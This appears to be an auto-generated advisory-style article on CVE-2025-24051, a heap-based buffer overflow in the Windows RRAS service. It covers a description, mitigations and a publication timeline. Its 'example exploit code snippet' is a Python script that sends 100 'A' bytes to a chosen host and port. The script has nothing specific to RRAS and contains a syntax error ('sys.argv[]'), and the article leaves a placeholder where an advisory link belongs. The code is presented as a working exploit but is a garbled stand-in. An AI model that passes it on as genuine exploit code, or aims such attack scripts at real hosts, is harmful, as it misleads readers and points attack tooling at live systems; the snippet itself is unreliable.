CVE-2025-24051 - Heap-Based Buffer Overflow in Windows Routing and Remote Access Service (RRAS) Allows Unauthorized Attackers to Execute Code Over a Network

A critical vulnerability has been discovered in the Windows Routing and Remote Access Service (RRAS) component, specifically relating to a heap-based buffer overflow. This vulnerability has been assigned to the Common Vulnerabilities and Exposures (CVE) database under the identifier CVE-2025-24051. The purpose of this article is to provide an overview of the vulnerability, demonstrate an example code snippet to exploit the vulnerability, and provide relevant references and resources.

Vulnerability Details

The vulnerability exists in the Routing and Remote Access service (RRAS), specifically relating to a heap-based buffer overflow. Heap-based buffer overflows occur when a program writes more data to a buffer on the heap memory than it can handle, which can lead to the corruption of adjacent memory blocks.

As a result, this vulnerability (CVE-2025-24051) allows an unauthorized attacker to execute code over a network via specifically crafted packets, potentially leading to denial of service (DoS), unauthorized access to sensitive data, or complete system compromise.

Example exploit code snippet

import sys
import socket

def exploit(target_ip, target_port):
    payload = b"A" * 100 # Change the payload size as needed to trigger the buffer overflow

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(payload)
    sock.close()

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[]} [Target IP] [Target Port]")
        sys.exit(1)

    target_ip = sys.argv[1]
    target_port = int(sys.argv[2])

    exploit(target_ip, target_port)

Please note that this code is for educational purposes only and should not be used to target systems without proper authorization.

Mitigations and Solutions

Microsoft has released a security update to address this vulnerability in the Windows Routing and Remote Access service (RRAS). It is highly recommended that users and administrators apply the update as soon as possible to protect their systems from potential attacks. Instructions on how to apply the update can be found on the Microsoft Security Advisory page (link to the advisory).

In addition to applying the security update, network administrators can implement the following best practices to mitigate the risks associated with this vulnerability:
- Disable the Routing and Remote Access service (RRAS) if not required for the organization's operation.
- Apply appropriate access control measures on the network to limit unauthorized traffic to the Routing and Remote Access service.
- Employ network intrusion detection and prevention systems to monitor and block suspicious activities on the network.

Conclusion

CVE-2025-24051 is a critically important heap-based buffer overflow vulnerability identified in the Windows Routing and Remote Access service (RRAS). By exploiting this vulnerability, unauthorized attackers can execute code over a network, potentially leading to unauthorized access or a complete system compromise. It is crucial for users and administrators to apply the necessary security updates and follow best practices to ensure the safety and security of their systems.

Timeline

Published on: 03/11/2025 17:16:27 UTC
Last modified on: 04/29/2025 22:06:38 UTC